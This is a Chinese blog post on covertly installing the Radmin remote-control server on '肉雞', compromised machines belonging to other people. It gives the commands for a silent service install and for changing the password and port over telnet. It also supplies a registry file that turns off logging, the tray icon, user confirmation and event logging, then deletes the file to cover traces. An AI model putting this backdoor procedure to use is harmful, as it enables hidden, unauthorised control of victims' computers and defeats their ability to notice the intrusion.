Radmin使用總結

來源:本站原創 安全技術 超過1,208 views圍觀 0條評論

   給肉雞裝Radmin,我想大家應該都會了。寫這篇文章只是給新手一個總結,沒有什么新的“發現”。現在最新的影子版包含六個主要的文件,先簡單介紹如下:
AdmDll.dll raddrv.dll兩個是運行需要的庫文件
r_server.exe是服務端
radmin.exe是客戶端
配置 r_server.lnk是用來配置服務端的,可以安裝服務、刪除服務、設置密碼、端口、日志、狀態欄圖標等
停止 r_server.lnk是用來停止服務的,雙擊就可以停止本地運行的radmin服務
  但是Radmin本來就只是遠程控制軟件而已,并不是黑客軟件,所以就沒有遠程安裝的功能。
  給別人的機器種上radmin需要將AdmDll.dll、raddrv.dll、r_server.exe都上傳到肉雞上,然后在肉雞上執行R_server.exe /install /silence或者R_server.exe,就可以完成安裝。但是這種方式產生的問題是沒有對r_admin進行配置,影子版的好處就是默認不會記錄日志,不會顯示狀態欄圖標,但是端口是默認的4899、密碼是空的,這顯然是不行的。
  如果你用的是這種方法,又要改密碼和端口該怎么辦呢?簡單的一條命令就可以實現了,用radmin的telnet上去后,輸入r_server /pass:密碼 /port:端口 /save /silence 這樣你就行了,密碼馬上就可以起作用,但是端口不能立刻改變,重啟了才可以。
  當然你也可以用知道的管理員帳號遠程連接他的表注冊表修改[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]中的Port和Parameter值,Parameter的值是經過加密了的,Port也經過了變換,只能在自己電腦上找到對應項修改了。
   推薦的安裝辦法就是通過注冊表導入來實現配置,先在自己的電腦上安裝radmin,配置好,然后將注冊表中的
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin 導出,命名為radmin.reg.
內容大致如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
“Port”=hex:d7,02,00,00        端口(用16進制表示的)
“Parameter”=hex:69,a7,51,16,ff,c2,36,08,47,80,a4,98,ea,d5,9a,c0             連接密碼
“NTAuthEnabled”=hex:00,00,00,00   NT認證
“Timeout”=hex:0a,00,00,00         超時
“EnableLogFile”=hex:00,00,00,00   日志記錄
“LogFilePath”=”c:\\logfile.txt”   日志文件路徑
“FilterIp”=hex:00,00,00,00        IP過濾
“DisableTrayIcon”=hex:01,00,00,00   托盤圖標設置
“AutoAllow”=hex:00,00,00,00
“AskUser”=hex:00,00,00,00   
“EnableEventLog”=hex:00,00,00,00 
各項的說明都放在每一行的后面了
然后將AdmDll.dll,raddrv.dll,r_server.exe,radmin.reg COPY到肉雞上,telnet上去執行
regedit /s radmin.reg導入注冊表文件,再執行R_server.exe /install /silence安裝R_servernet start r_server啟動r_server服務
del radmin.reg刪除已導入的注冊表文件

文章出自:CCIE那點事 http://www.qdxgqk.live/ 版權所有。本站文章除注明出處外,皆為作者原創文章,可自由引用,但請注明來源。 禁止全文轉載。
本文標題:Radmin使用總結
本文鏈接:http://www.qdxgqk.live/?p=398轉載請注明轉自CCIE那點事
如果喜歡:點此訂閱本站
  • 相關文章
  • 為您推薦
  • 各種觀點
?
暫時還木有人評論,坐等沙發!
發表評論

您必須 [ 登錄 ] 才能發表留言!

?
?
萌宠夺宝游戏